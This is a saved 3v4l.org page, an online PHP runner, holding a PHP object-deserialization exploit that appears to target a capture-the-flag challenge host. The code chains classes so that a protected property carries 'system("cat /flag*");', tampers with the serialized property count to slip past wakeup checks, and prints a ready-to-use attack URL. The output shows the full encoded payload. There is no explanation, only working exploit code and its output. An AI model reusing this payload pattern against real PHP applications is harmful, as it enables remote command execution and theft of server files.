3v4l.org

run code in 500+ PHP versions simultaneously
http://home.edu.ltsec.com:51281/<?php class Water{public $waterfall;} class Circle{ public $daemon; protected $dash; public function setDash($v){$this->dash=$v;} } class Range{public $horis;public $link;} class Sliver{public $secret;public $resty;} $circle=new Circle();$circle->setDash('system("cat /flag*");'); $water=new Water();$water->waterfall=$circle; $range=new Range();$range->link=$water; $sliver=new Sliver();$sliver->secret=$range; $payload=serialize($sliver); $payload=str_replace('O:6:"Sliver":2:','O:6:"Sliver":1:',$payload); echo "http://home.edu.ltsec.com:51281/?data=".urlencode($payload); ?>
Output for git.master_jit, git.master
http://home.edu.ltsec.com:51281/http://home.edu.ltsec.com:51281/?data=O%3A6%3A%22Sliver%22%3A1%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3BN%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A21%3A%22system%28%22cat+%2Fflag%2A%22%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
51.63 ms | 734 KiB | 4 Q